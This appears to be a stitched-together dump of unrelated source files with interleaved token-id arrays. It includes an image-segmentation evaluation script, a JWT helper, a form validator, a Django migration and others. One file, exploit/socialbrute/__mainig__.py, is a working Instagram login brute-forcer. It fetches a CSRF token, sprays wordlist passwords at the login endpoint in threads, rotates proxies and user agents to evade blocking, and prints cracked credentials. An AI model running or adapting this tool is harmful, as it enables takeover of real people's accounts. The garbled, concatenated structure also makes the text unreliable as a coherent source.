for batch_i, (inputs, targets, index) in tqdm(enumerate(test_loader)): prev_time = time.time() for batch_i, (inputs, targets, index) in enumerate(test_loader): #import pdb; pdb.set_trace() #index = index.numpy() #pred_result = train_utils.view_sample_predictions_new(model, imgs, targets, n=4) data = Variable(inputs.cuda(), volatile=False) #label = Variable(targets.cuda()) with torch.no_grad(): output = model(data) pred = train_utils.get_predictions(output) batch_size = inputs.size(0) for j in range(batch_size): #img_utils.view_image(inputs[i]) # if n_classes == 2: # pred[j] = 5 * pred[j] current_time = time.time() evaluation_results = train_utils.evaluate(targets[j].unsqueeze(0), pred[j].unsqueeze(0)) c_matrix0 = train_utils.calculate_confusion_matrix(targets[j].unsqueeze(0), pred[j].unsqueeze(0), cls_num=n_classes) #current_time = time.time() inference_time = datetime.timedelta(seconds=current_time - prev_time) prev_time = current_time print("\t+ Batch %d, Inference Time: %s" % (batch_i, inference_time)) c_matrix += c_matrix0 path = index[j] c_matrix0 = list(c_matrix0.reshape(-1)) c_matrix0.insert(0,path.split('/')[-1].split('.')[0]) cmatrix_each.append(c_matrix0) image_original = np.array(Image.open(path).convert('RGB')) name = '_' + str(100 * round(evaluation_results[0][1],2)) + \ '_' + str(100 * round(evaluation_results[1][1],2)) img_name = path.split('/')[-1].split('.')[0] + name target = targets[j].cpu().numpy() prediction = pred[j].cpu().numpy() # save prediction images img = np.ones_like(image_original)255 img = train_utils.draw_color(img,prediction,[255,0,255]) image_merged = cv2.addWeighted(image_original/255,0.7,img/255,0.3,0,dtype = cv2.CV_32F) img_combine = np.concatenate((image_original/255,image_merged), axis=0) plt.imsave(os.path.join(result_folder,img_name+'_a_predict.jpg'),img_combine) # generate TP,FP,FN images TP, FP, FN = train_utils.generation_TP_FP_FN(target,prediction,t = 5) img = np.ones_like(image_original)255 img = train_utils.draw_color(img,FN,[0,255,0]) # save FN images image_merged = cv2.addWeighted(image_original/255,0.7,img/255,0.3,0,dtype = cv2.CV_32F) img_combine = np.concatenate((image_original/255,image_merged), axis=0) plt.imsave(os.path.join(result_folder,img_name+'_c_FN.jpg'),img_combine) img = train_utils.draw_color(img,TP,[255,0,0]) img = train_utils.draw_color(img,FP,[0,0,255]) # save TP_FP_FN images image_merged = cv2.addWeighted(image_original/255,0.7,img/255,0.3,0,dtype = cv2.CV_32F) img_combine = np.concatenate((image_original/255,image_merged), axis=0) plt.imsave(os.path.join(result_folder,img_name+'_b_TP_FP_FN.jpg'),img_combine) imag_targets = utils.imgs.view_annotated(targets[j],'targets', plot=False, class_num=6) imag_pred = utils.imgs.view_annotated(pred[j],'prediction', plot=False, class_num=6) img_combine2 = np.concatenate((image_original/255,imag_targets,imag_pred), axis=0) #plt.imsave(os.path.join(result_folder,img_name.replace('merge0','merge1')),img_combine2) print(path.split('/')[-1].split('.')[0],' finished') results = [evaluation_results[0][1],evaluation_results[1][1],evaluation_results[2][1]] results = [round(r,3) for r in results] results.insert(0,path.split('/')[-1]) result_each_image.append(results) result_each_image = np.array(result_each_image) data = pd.DataFrame({ 'index':result_each_image[:,0], 'precision':result_each_image[:,1], 'recall':result_each_image[:,2], 'f1':result_each_image[:,3], }) data.to_csv(os.path.join(result_folder,'results.csv')) cmatrix_each = np.array(cmatrix_each) data = pd.DataFrame({ 'index':cmatrix_each[:,0], 'FN':cmatrix_each[:,3], 'TP':cmatrix_each[:,4], 'FP':cmatrix_each[:,2], 'precision':result_each_image[:,1], 'recall':result_each_image[:,2], 'f1':result_each_image[:,3], }) data.to_csv(os.path.join(result_folder,'results_pixel_number.csv')) with np.errstate(divide='ignore',invalid='ignore'): precision = np.diag(c_matrix)/c_matrix.sum(axis=0) with np.errstate(divide='ignore',invalid='ignore'): recall = np.diag(c_matrix)/c_matrix.sum(axis=1) print(precision[1],recall[1]) name = opt.weight_filename +'_'+ str(int(100 * round(precision[1],2))) + \ '_' + str(int(100 * round(recall[1],2))) +'.txt' f = open(os.path.join(opt.result_folder, name),'w') f.close() #print(img_name, ' finished') # # imag_targets = utils.imgs.view_annotated(targets[j],'targets', plot=False, class_num=6) # imag_targets[-4:-1,:,:] = 1 # # imag_pred = utils.imgs.view_annotated(pred[j],'prediction', plot=False, class_num=6) # import pdb; pdb.set_trace() # # # if bool(save_image): # # #img_name = image_name.format(index[j]) # image_original = np.array(Image.open(path).convert('RGB')) # # img_name = path.split('/')[-1].split('.')[0] + '_' + str(int(1000*evaluation_results[-1])) + '.png' # img_combine = np.concatenate((image_original/255,imag_targets,imag_pred), axis=0) # plt.imsave(os.path.join(result_folder,img_name),img_combine) # #print(img_name, ' finished') ## if batch_i == 5: ## break # # result_each_image = np.array(result_each_image) # data = pd.DataFrame({ # 'index':result_each_image[:,0], # 'PA':result_each_image[:,1], # 'class_PA':result_each_image[:,2], # 'mIoU':result_each_image[:,3], # 'w_MIoU':result_each_image[:,4] # }) # data.to_csv(os.path.join(result_folder,'results.csv')) # result = np.round(train_utils.evaluate_whole_dataset(c_matrix),5) # total_iou = train_utils.IoU(c_matrix) # c_matrix = np.round(c_matrix / c_matrix.sum(),5) # #PA, class_PA, mIoU, w_MIoU] # final_result = f"evaluation results of the whole test folder: \n \ # pixel accuracy: {result[0]} \n \ # mean class pixel accuracy: {result[1]} \n \ # mIoU: {result[2]} \n \ # weighted mIoU: {result[3]} \n \ # IoU of each class:{total_iou}" # print(final_result) # # f = open(os.path.join(result_folder,'result of all test images.txt'),'w') # f.write(final_result) # f.close() # # np.savetxt(os.path.join(result_folder,'c_matrix.txt'),c_matrix, fmt='%s',newline='\n',delimiter=' ')	[ 1, 529, 276, 1112, 420, 29958, 29967, 423, 26461, 29956, 574, 11242, 29955, 29955, 29914, 2272, 7345, 305, 29918, 29873, 381, 314, 28311, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 15945, 29908, 13, 20399, 373, 2598, 29639, 259, 29929, 29871, 29896, 29945, 29901, 29945, 29929, 29901, 29900, 29953, 29871, 29906, 29900, 29896, 29929, 13, 13, 29992, 8921, 29901, 529, 26862, 6227, 29958, 13, 15945, 29908, 13, 13, 3166, 2224, 1982, 1053, 10802, 13, 5215, 12655, 408, 7442, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 13, 5215, 931, 13, 5215, 12865, 13, 13, 5215, 4842, 305, 13, 5215, 4842, 305, 29889, 15755, 408, 302, 29876, 13, 5215, 4842, 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app/core/security.py	attachemd/backend_v03	0	180319	<filename>app/core/security.py from datetime import timedelta, datetime from typing import Optional, Union, Any from passlib.context import CryptContext from jose import jwt from app.core.config import settings pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto") def get_password_hash(password: str) -> str: return pwd_context.hash(password) def verify_password( plain_password: str, hashed_password: str ) -> bool: return pwd_context.verify(plain_password, hashed_password) def create_access_token( subject: Union[str, Any], expires_delta: Optional[timedelta] = None, ): if expires_delta: expire = datetime.utcnow() + expires_delta else: expire = datetime.utcnow() + timedelta( minutes=settings.ACCESS_TOKEN_EXPIRE_MINUTES ) to_encode = {"exp": expire, **subject} return jwt.encode( to_encode, settings.SECRET_KEY, algorithm=settings.ALGORITHM )	[ 1, 529, 9507, 29958, 932, 29914, 3221, 29914, 8926, 29889, 2272, 13, 3166, 12865, 1053, 5335, 287, 2554, 29892, 12865, 13, 3166, 19229, 1053, 28379, 29892, 7761, 29892, 3139, 13, 13, 3166, 1209, 1982, 29889, 4703, 1053, 315, 4641, 2677, 13, 3166, 432, 852, 1053, 432, 14554, 13, 13, 3166, 623, 29889, 3221, 29889, 2917, 1053, 6055, 13, 13, 29886, 9970, 29918, 4703, 353, 315, 4641, 2677, 29898, 816, 13826, 29922, 3366, 12328, 4641, 12436, 18164, 543, 6921, 1159, 13, 13, 13, 1753, 679, 29918, 5630, 29918, 8568, 29898, 5630, 29901, 851, 29897, 1599, 851, 29901, 13, 1678, 736, 282, 9970, 29918, 4703, 29889, 8568, 29898, 5630, 29897, 13, 13, 13, 1753, 11539, 29918, 5630, 29898, 13, 1678, 8656, 29918, 5630, 29901, 851, 29892, 6608, 287, 29918, 5630, 29901, 851, 13, 29897, 1599, 6120, 29901, 13, 1678, 736, 282, 9970, 29918, 4703, 29889, 27902, 29898, 24595, 29918, 5630, 29892, 6608, 287, 29918, 5630, 29897, 13, 13, 13, 1753, 1653, 29918, 5943, 29918, 6979, 29898, 13, 1678, 4967, 29901, 7761, 29961, 710, 29892, 3139, 1402, 13, 1678, 1518, 2658, 29918, 4181, 29901, 28379, 29961, 9346, 287, 2554, 29962, 353, 6213, 29892, 13, 1125, 13, 1678, 565, 1518, 2658, 29918, 4181, 29901, 13, 4706, 1518, 533, 353, 12865, 29889, 329, 29883, 3707, 580, 718, 1518, 2658, 29918, 4181, 13, 1678, 1683, 29901, 13, 4706, 1518, 533, 353, 12865, 29889, 329, 29883, 3707, 580, 718, 5335, 287, 2554, 29898, 13, 9651, 6233, 29922, 11027, 29889, 2477, 23524, 29918, 4986, 29968, 1430, 29918, 5746, 2227, 1525, 29918, 16173, 2692, 2890, 13, 4706, 1723, 13, 1678, 304, 29918, 12508, 353, 8853, 4548, 1115, 1518, 533, 29892, 3579, 16009, 29913, 13, 1678, 736, 432, 14554, 29889, 12508, 29898, 13, 4706, 304, 29918, 12508, 29892, 6055, 29889, 1660, 22245, 29911, 29918, 10818, 29892, 5687, 29922, 11027, 29889, 1964, 29954, 1955, 13054, 29924, 13, 1678, 1723, 13, 2 ]
proper_forms/fields/email.py	jpsca/pforms	2	39416	from .text import Text from ..ftypes import type_email __all__ = ("Email", ) class Email(Text): """Validates and normalize an email address using the JoshData/python-email-validator library. Even if the format is valid, it cannot guarantee that the email is real, so the purpose of this function is to alert the user of a typing mistake. The normalizations include lowercasing the domain part of the email address (domain names are case-insensitive), unicode "NFC" normalization of the whole address (which turns characters plus combining characters into precomposed characters where possible and replaces certain unicode characters (such as angstrom and ohm) with other equivalent code points (a-with-ring and omega, respectively)), replacement of fullwidth and halfwidth characters in the domain part, and possibly other UTS46 mappings on the domain part. Options: check_dns (bool): Check if the domain name in the email address resolves. There is nothing to be gained by trying to actually contact an SMTP server, so that's not done. allow_smtputf8 (bool): Accept non-ASCII characters in the local part of the address (before the @-sign). These email addresses require that your mail submission library and the mail servers along the route to the destination, including your own outbound mail server, all support the [SMTPUTF8 (RFC 6531)](https://tools.ietf.org/html/rfc6531) extension. By default this is set to `False`. """ input_type = "email" def __init__(self, args, kwargs): super().__init__(args, **kwargs) self.error_messages.setdefault("type", "Doesn‘t look like a valid e-mail.") def type(self, value, check_dns=False, allow_smtputf8=False): return type_email(value, check_dns=check_dns, allow_smtputf8=allow_smtputf8)	[ 1, 515, 869, 726, 1053, 3992, 13, 3166, 6317, 615, 7384, 1053, 1134, 29918, 5269, 13, 13, 13, 1649, 497, 1649, 353, 4852, 9823, 613, 1723, 13, 13, 13, 1990, 22608, 29898, 1626, 1125, 13, 1678, 9995, 7211, 1078, 322, 4226, 675, 385, 4876, 3211, 773, 278, 13, 1678, 22838, 1469, 29914, 4691, 29899, 5269, 29899, 3084, 1061, 3489, 29889, 13, 13, 1678, 7753, 565, 278, 3402, 338, 2854, 29892, 372, 2609, 18818, 393, 278, 4876, 338, 1855, 29892, 577, 278, 13, 1678, 6437, 310, 445, 740, 338, 304, 6655, 278, 1404, 310, 263, 19229, 10171, 29889, 13, 13, 1678, 450, 4226, 17063, 3160, 5224, 29883, 5832, 278, 5354, 760, 310, 278, 4876, 3211, 13, 1678, 313, 7247, 2983, 526, 1206, 29899, 1144, 575, 3321, 511, 29104, 376, 29940, 8610, 29908, 4226, 2133, 310, 278, 3353, 13, 1678, 3211, 313, 4716, 12169, 4890, 2298, 29299, 4890, 964, 758, 510, 4752, 13, 1678, 4890, 988, 1950, 322, 1634, 6048, 3058, 29104, 4890, 313, 14565, 408, 13, 1678, 2614, 303, 456, 322, 288, 7184, 29897, 411, 916, 7126, 775, 3291, 313, 29874, 29899, 2541, 29899, 5393, 322, 2703, 2442, 29892, 13, 1678, 8307, 8243, 16920, 310, 2989, 2103, 322, 4203, 2103, 4890, 297, 278, 5354, 13, 1678, 760, 29892, 322, 10075, 916, 501, 9375, 29946, 29953, 611, 27775, 373, 278, 5354, 760, 29889, 13, 13, 1678, 25186, 29901, 13, 13, 4706, 1423, 29918, 29881, 1983, 313, 11227, 1125, 13, 9651, 5399, 565, 278, 5354, 1024, 297, 278, 4876, 3211, 3770, 1960, 29889, 13, 9651, 1670, 338, 3078, 304, 367, 17515, 491, 1811, 304, 2869, 6958, 385, 13766, 3557, 1923, 29892, 13, 9651, 577, 393, 29915, 29879, 451, 2309, 29889, 13, 13, 4706, 2758, 29918, 3844, 29873, 649, 29888, 29947, 313, 11227, 1125, 13, 9651, 29848, 1661, 29899, 28599, 2687, 4890, 297, 278, 1887, 760, 310, 278, 3211, 13, 9651, 313, 11083, 278, 732, 29899, 4530, 467, 4525, 4876, 14157, 1996, 393, 596, 10524, 13, 9651, 29240, 3489, 322, 278, 10524, 12424, 3412, 278, 5782, 304, 278, 12551, 29892, 13, 9651, 3704, 596, 1914, 714, 9917, 10524, 1923, 29892, 599, 2304, 278, 13, 9651, 518, 17061, 3557, 10496, 29947, 313, 29934, 8610, 29871, 29953, 29945, 29941, 29896, 23192, 991, 597, 8504, 29889, 2035, 29888, 29889, 990, 29914, 1420, 29914, 9600, 29883, 29953, 29945, 29941, 29896, 29897, 6081, 29889, 13, 9651, 2648, 2322, 445, 338, 731, 304, 421, 8824, 1412, 13, 13, 1678, 9995, 13, 13, 1678, 1881, 29918, 1853, 353, 376, 5269, 29908, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 2428, 2141, 1649, 2344, 1649, 10456, 5085, 29892, 3579, 19290, 29897, 13, 4706, 1583, 29889, 2704, 29918, 19158, 29889, 842, 4381, 703, 1853, 613, 376, 25125, 29876, 30086, 29873, 1106, 763, 263, 2854, 321, 29899, 2549, 23157, 13, 13, 1678, 822, 1134, 29898, 1311, 29892, 995, 29892, 1423, 29918, 29881, 1983, 29922, 8824, 29892, 2758, 29918, 3844, 29873, 649, 29888, 29947, 29922, 8824, 1125, 13, 4706, 736, 1134, 29918, 5269, 29898, 1767, 29892, 1423, 29918, 29881, 1983, 29922, 3198, 29918, 29881, 1983, 29892, 2758, 29918, 3844, 29873, 649, 29888, 29947, 29922, 9536, 29918, 3844, 29873, 649, 29888, 29947, 29897, 13, 2 ]
uncluster/potential/potential_config.py	adrn/uncluster	0	186980	# vvv --- THIS IS AUTO-GENERATED CODE - see scripts/setup-potential.py --- vvv import astropy.units as u m_h = 5.4596489e+11 * u.Msun r_s = 15.7799796 * u.kpc m_n = 1.7005340e+09 * u.Msun c_n = 65.6443448 * u.pc # ^^^ --- THIS IS AUTO-GENERATED CODE - see scripts/setup-potential.py --- ^^^	[ 1, 396, 325, 29894, 29894, 11474, 3446, 3235, 8519, 26524, 29949, 29899, 24647, 1001, 3040, 29928, 4810, 2287, 448, 1074, 12078, 29914, 14669, 29899, 17765, 2556, 29889, 2272, 11474, 325, 29894, 29894, 13, 5215, 8717, 14441, 29889, 348, 1169, 408, 318, 13, 29885, 29918, 29882, 353, 29871, 29945, 29889, 29946, 29945, 29929, 29953, 29946, 29947, 29929, 29872, 29974, 29896, 29896, 334, 318, 29889, 29924, 11445, 13, 29878, 29918, 29879, 353, 29871, 29896, 29945, 29889, 29955, 29955, 29929, 29929, 29955, 29929, 29953, 334, 318, 29889, 29895, 6739, 13, 29885, 29918, 29876, 353, 29871, 29896, 29889, 29955, 29900, 29900, 29945, 29941, 29946, 29900, 29872, 29974, 29900, 29929, 334, 318, 29889, 29924, 11445, 13, 29883, 29918, 29876, 353, 29871, 29953, 29945, 29889, 29953, 29946, 29946, 29941, 29946, 29946, 29947, 334, 318, 29889, 6739, 13, 29937, 6228, 16672, 11474, 3446, 3235, 8519, 26524, 29949, 29899, 24647, 1001, 3040, 29928, 4810, 2287, 448, 1074, 12078, 29914, 14669, 29899, 17765, 2556, 29889, 2272, 11474, 6228, 16672, 2 ]
scripts/utils/__init__.py	JimCircadian/inconsistentrecords	0	88871	import configparser import logging import os from github import Github def github_conn(filename="$HOME/.github_api"): config = configparser.ConfigParser() config.read(os.path.expandvars(filename)) token = config['api']['token'] return Github(token)	[ 1, 1053, 2295, 16680, 13, 5215, 12183, 13, 5215, 2897, 13, 13, 3166, 18546, 1053, 402, 2985, 13, 13, 13, 1753, 18546, 29918, 13082, 29898, 9507, 18965, 17353, 6294, 3292, 29918, 2754, 29908, 1125, 13, 1678, 2295, 353, 2295, 16680, 29889, 3991, 11726, 580, 13, 1678, 2295, 29889, 949, 29898, 359, 29889, 2084, 29889, 18837, 16908, 29898, 9507, 876, 13, 13, 1678, 5993, 353, 2295, 1839, 2754, 16215, 6979, 2033, 13, 1678, 736, 402, 2985, 29898, 6979, 29897, 13, 2 ]
exploit/socialbrute/__mainig__.py	5l1v3r1/saydog-framework	2	127078	<filename>exploit/socialbrute/__mainig__.py # coding=utf-8 # !/usr/bin/python from __future__ import print_function from instabrute import * import argparse import logging import random import socket import sys import threading r="\x1b[91m" w="\x1b[00m" c ="\x1b[36;1m" y="\x1b[33m" try: import urllib.request as rq from urllib.error import HTTPError import urllib.parse as http_parser except ImportError: import urllib2 as rq from urllib2 import HTTPError import urllib as http_parser try: import Queue except ImportError: import queue as Queue def check_proxy(q): """ check proxy for and append to working proxies :param q: """ if not q.empty(): proxy = q.get(False) proxy = proxy.replace("\r", "").replace("\n", "") try: opener = rq.build_opener( rq.ProxyHandler({'https': 'https://' + proxy}), rq.HTTPHandler(), rq.HTTPSHandler() ) opener.addheaders = [('User-agent', 'Mozilla/5.0')] rq.install_opener(opener) req = rq.Request('https://api.ipify.org/') if rq.urlopen(req).read().decode() == proxy.partition(':')[0]: proxys_working_list.update({proxy: proxy}) if _verbose: print(c+"[+]"+w+" Successfully connected with "+proxy) else: if _verbose: print(r+"[!]"+w+" Failed to connect with "+proxy) except Exception as err: if _verbose: print(r+"[!]"+w+" Failed to connect with "+proxy) if _debug: logger.error(err) pass def get_csrf(): """ get CSRF token from login page to use in POST requests """ global csrf_token print(y+"[+]"+w+" Trying to get CSRF token ...") try: opener = rq.build_opener(rq.HTTPHandler(), rq.HTTPSHandler()) opener.addheaders = [('User-agent', 'Mozilla/5.0')] rq.install_opener(opener) request = rq.Request('https://www.instagram.com/') try: # python 2 headers = rq.urlopen(request).info().headers except Exception: # python 3 headers = rq.urlopen(request).info().get_all('Set-Cookie') for header in headers: if header.find('csrftoken') != -1: csrf_token = header.partition(';')[0].partition('=')[2] print(c+"[+]"+w+" CSRF Token : "+csrf_token) except Exception as err: print(r+"[!]"+w+" Oops, cant get CSRF token, please try again") if _debug: logger.error(err) print("[!]"" Exiting ...") exit(3) def brute(q): """ main worker function :param word: :param event: :return: """ if not q.empty(): try: proxy = None if len(proxys_working_list) != 0: proxy = random.choice(list(proxys_working_list.keys())) word = q.get() word = word.replace("\r", "").replace("\n", "") post_data = { 'username': USER, 'password': <PASSWORD>, } header = { "User-Agent": random.choice(user_agents), 'X-Instagram-AJAX': '1', "X-CSRFToken": csrf_token, "X-Requested-With": "XMLHttpRequest", "Referer": "https://www.instagram.com/", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 'Cookie': 'csrftoken=' + csrf_token } if proxy: if _verbose: print(y+"[-]"+w+" Password incorrect %s %s " % (word, proxy,)) opener = rq.build_opener( rq.ProxyHandler({'https': 'https://' + proxy}), rq.HTTPHandler(), rq.HTTPSHandler() ) else: if _verbose: print(y+"[-]"+w+" Password incorrect %s" % (word,)) opener = rq.build_opener( rq.HTTPHandler(), rq.HTTPSHandler() ) rq.install_opener(opener) req = rq.Request(URL, data=http_parser.urlencode(post_data).encode('ascii'), headers=header) sock = rq.urlopen(req) if sock.read().decode().find('"authenticated": true') != -1: print(c+"\n[+]"+w+" Successful exploitation") print(w+" Username: "+y, USER) print(w+" Password: "+y, word) found_flag = True q.queue.clear() q.task_done() except HTTPError as e: if e.getcode() == 400 or e.getcode() == 403: if e.read().decode("utf8", 'ignore').find('"checkpoint_required"') != -1: print(c+"\n[!]"+w+" Successfully login, but checkpoint") print("") print(r+"[!]"+w+" Username: "+y, USER) print(r+"[!]"+w+" Password: "+y, word) print("") found_flag = True q.queue.clear() q.task_done() return elif proxy: print(r+"[!] Error:"+w+" Proxy IP %s now is blocked by instagram" % (proxy,)) if proxy in proxys_working_list: proxys_working_list.pop(proxy) print(c+"[+]"+w+" Online Proxy: ", str(len(proxys_working_list))) else: print(r+"[!] Error:"+w+" Your IP now is blocked by instagram") print(r+"[!]"+w+" Please use Proxy or VPN App") else: print(r+"[!]"+w+" Error:", e.getcode()) q.task_done() return except Exception as err: if _debug: print(r+"[!]"+w+" Problems in the proxy connection") logger.error(err) else: print(r+"[!]"+w+" Problems in the proxy connection") pass return def starter(): """ threading workers initialize """ global found_flag queue = Queue.Queue() threads = [] max_thread = THREAD found_flag = False queuelock = threading.Lock() print(y+"\n[-]"+w+" Preparing for attack ...") print(c+"[!]"+w+" Bruteforce is running\n") try: for word in words: queue.put(word) while not queue.empty(): queuelock.acquire() for workers in range(max_thread): t = threading.Thread(target=brute, args=(queue,)) t.setDaemon(True) t.start() threads.append(t) for t in threads: t.join() queuelock.release() if found_flag: break print("") print(y+"[!]"+w+" Bruteforce attack completed") except Exception as err: print(err) def check_avalaible_proxys(proxys): """ check avalaible proxyies from proxy_list file """ socket.setdefaulttimeout(30) global proxys_working_list print(y+"[-]"+w+" Try connecting with a proxy list ...\n") proxys_working_list = {} max_thread = THREAD queue = Queue.Queue() queuelock = threading.Lock() threads = [] for proxy in proxys: queue.put(proxy) while not queue.empty(): queuelock.acquire() for workers in range(max_thread): t = threading.Thread(target=check_proxy, args=(queue,)) t.setDaemon(True) t.start() threads.append(t) for t in threads: t.join() queuelock.release() print(c+"[+]"+w+" Successfully connected with "+ str(len(proxys_working_list))+" proxy") if __name__ == "__main__": parser = argparse.ArgumentParser( description="Instagram BruteForcer", epilog="./instabrute -u user_test -w words.txt -p proxys.txt -t 4 -d -v" ) # required argument parser.add_argument('-u', '--username', action="store", required=True, help='Target Username') parser.add_argument('-w', '--word', action="store", required=True, help='Words list path') parser.add_argument('-p', '--proxy', action="store", required=True, help='Proxy list path') # optional arguments parser.add_argument('-t', '--thread', help='Thread', type=int, default=4) parser.add_argument('-v', '--verbose', action='store_const', help='Thread', const=True, default=False) parser.add_argument('-d', '--debug', action='store_const', const=True, help='Debug mode', default=False) args = parser.parse_args() URL = "https://www.instagram.com/accounts/login/ajax/" USER = args.username THREAD = args.thread _verbose = args.verbose _debug = args.debug user_agents = ["Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko)", "Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1", "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201", "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0", "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"] try: words = open(args.word).readlines() except IOError: print("[-]"" Error: Check your word list file path\n") sys.exit(1) try: proxys = open(args.proxy).readlines() except IOError: print("[-]"" Error: Check your proxy list file path\n") sys.exit(1) # enable debugging if its set if _debug: # Logging stuff logging.basicConfig(level=logging.DEBUG, filename="log", format='%(asctime)s - %(name)s - %(levelname)s - %(message)s') logger = logging.getLogger(__name__) print(y+"[-]"+w+" Starting bruteforce attack to", USER) print(y+"[-]"+w+" List of words found on file", str(len(words))) print(y+"[-]"+w+" List of proxy found on proxys.txt", str(len(proxys))) check_avalaible_proxys(proxys) get_csrf() starter()	[ 1, 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textformer/utils/__init__.py	gugarosa/textformer	3	1602150	"""Utilities package for all common textformer modules. """	[ 1, 9995, 7270, 1907, 3577, 363, 599, 3619, 1426, 24784, 10585, 29889, 13, 15945, 29908, 13, 2 ]
simulation/src/claptrap_simu/__init__.py	Siviuze/CL4P-TP	0	59459	__import__('eigenpy').switchToNumpyArray()	[ 1, 4770, 5215, 1649, 877, 29872, 2101, 2272, 2824, 15123, 1762, 8009, 2272, 2588, 580, 29871, 13, 2 ]
gaphor/storage/tests/test_verify.py	seryafarma/gaphor	0	69348	<reponame>seryafarma/gaphor from gaphor import UML from gaphor.core.eventmanager import EventManager from gaphor.core.modeling import ElementFactory from gaphor.storage.verify import orphan_references def test_verifier(): factory = ElementFactory(EventManager()) c = factory.create(UML.Class) p = factory.create(UML.Property) c.ownedAttribute = p assert not orphan_references(factory) # Now create a separate item, not part of the factory: m = UML.Comment(id="acd123") m.annotatedElement = c assert m in c.ownedComment assert orphan_references(factory)	[ 1, 529, 276, 1112, 420, 29958, 643, 29891, 2142, 22824, 29914, 29887, 481, 2015, 13, 3166, 17261, 2015, 1053, 501, 1988, 13, 3166, 17261, 2015, 29889, 3221, 29889, 3696, 12847, 1053, 6864, 3260, 13, 3166, 17261, 2015, 29889, 3221, 29889, 4299, 292, 1053, 10619, 5126, 13, 3166, 17261, 2015, 29889, 12925, 29889, 27902, 1053, 470, 16711, 29918, 276, 10662, 13, 13, 13, 1753, 1243, 29918, 369, 3709, 7295, 13, 1678, 12529, 353, 10619, 5126, 29898, 2624, 3260, 3101, 13, 1678, 274, 353, 12529, 29889, 3258, 29898, 29965, 1988, 29889, 2385, 29897, 13, 1678, 282, 353, 12529, 29889, 3258, 29898, 29965, 1988, 29889, 4854, 29897, 13, 1678, 274, 29889, 26689, 6708, 353, 282, 13, 13, 1678, 4974, 451, 470, 16711, 29918, 276, 10662, 29898, 14399, 29897, 13, 13, 1678, 396, 2567, 1653, 263, 5004, 2944, 29892, 451, 760, 310, 278, 12529, 29901, 13, 13, 1678, 286, 353, 501, 1988, 29889, 20001, 29898, 333, 543, 562, 29881, 29896, 29906, 29941, 1159, 13, 1678, 286, 29889, 6735, 630, 2642, 353, 274, 13, 1678, 4974, 286, 297, 274, 29889, 26689, 20001, 13, 13, 1678, 4974, 470, 16711, 29918, 276, 10662, 29898, 14399, 29897, 13, 2 ]
api/migrations/0076_auto_20200728_1500.py	IFRCGo/ifrcgo-api	11	39003	# Generated by Django 2.2.13 on 2020-07-28 15:00 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('api', '0075_profile_last_frontend_login'), ] operations = [ migrations.RemoveField( model_name='fieldreport', name='cases', ), migrations.RemoveField( model_name='fieldreport', name='confirmed_cases', ), migrations.RemoveField( model_name='fieldreport', name='health_min_cases', ), migrations.RemoveField( model_name='fieldreport', name='health_min_confirmed_cases', ), migrations.RemoveField( model_name='fieldreport', name='health_min_num_dead', ), migrations.RemoveField( model_name='fieldreport', name='health_min_probable_cases', ), migrations.RemoveField( model_name='fieldreport', name='health_min_suspected_cases', ), migrations.RemoveField( model_name='fieldreport', name='other_cases', ), migrations.RemoveField( model_name='fieldreport', name='other_confirmed_cases', ), migrations.RemoveField( model_name='fieldreport', name='other_probable_cases', ), migrations.RemoveField( model_name='fieldreport', name='other_suspected_cases', ), migrations.RemoveField( model_name='fieldreport', name='probable_cases', ), migrations.RemoveField( model_name='fieldreport', name='suspected_cases', ), migrations.RemoveField( model_name='fieldreport', name='who_cases', ), migrations.RemoveField( model_name='fieldreport', name='who_confirmed_cases', ), migrations.RemoveField( model_name='fieldreport', name='who_num_dead', ), migrations.RemoveField( model_name='fieldreport', name='who_probable_cases', ), migrations.RemoveField( model_name='fieldreport', name='who_suspected_cases', ), ]	[ 1, 396, 3251, 630, 491, 15337, 29871, 29906, 29889, 29906, 29889, 29896, 29941, 373, 29871, 29906, 29900, 29906, 29900, 29899, 29900, 29955, 29899, 29906, 29947, 29871, 29896, 29945, 29901, 29900, 29900, 13, 13, 3166, 9557, 29889, 2585, 1053, 9725, 800, 13, 13, 13, 1990, 341, 16783, 29898, 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geoviews/data/geopandas.py	jonmmease/geoviews	0	80082	<reponame>jonmmease/geoviews<filename>geoviews/data/geopandas.py from __future__ import absolute_import import sys import warnings from collections import defaultdict import numpy as np from holoviews.core.util import isscalar, unique_iterator, unique_array, pd from holoviews.core.data import Dataset, Interface, MultiInterface from holoviews.core.data.interface import DataError from holoviews.core.data import PandasInterface from holoviews.core.data.spatialpandas import get_value_array from holoviews.core.dimension import dimension_name from holoviews.element import Path from ..util import geom_to_array, geom_types, geom_length from .geom_dict import geom_from_dict class GeoPandasInterface(MultiInterface): types = () datatype = 'geodataframe' multi = True @classmethod def loaded(cls): return 'geopandas' in sys.modules @classmethod def applies(cls, obj): if not cls.loaded(): return False from geopandas import GeoDataFrame, GeoSeries return isinstance(obj, (GeoDataFrame, GeoSeries)) @classmethod def geo_column(cls, data): from geopandas import GeoSeries col = 'geometry' if col in data and isinstance(data[col], GeoSeries): return col cols = [c for c in data.columns if isinstance(data[c], GeoSeries)] if not cols and len(data): raise ValueError('No geometry column found in geopandas.DataFrame, ' 'use the PandasInterface instead.') return cols[0] if cols else None @classmethod def init(cls, eltype, data, kdims, vdims): import pandas as pd from geopandas import GeoDataFrame, GeoSeries if kdims is None: kdims = eltype.kdims if vdims is None: vdims = eltype.vdims if isinstance(data, GeoSeries): data = data.to_frame() if isinstance(data, list): if all(isinstance(d, geom_types) for d in data): data = [{'geometry': d} for d in data] if all(isinstance(d, dict) and 'geometry' in d and isinstance(d['geometry'], geom_types) for 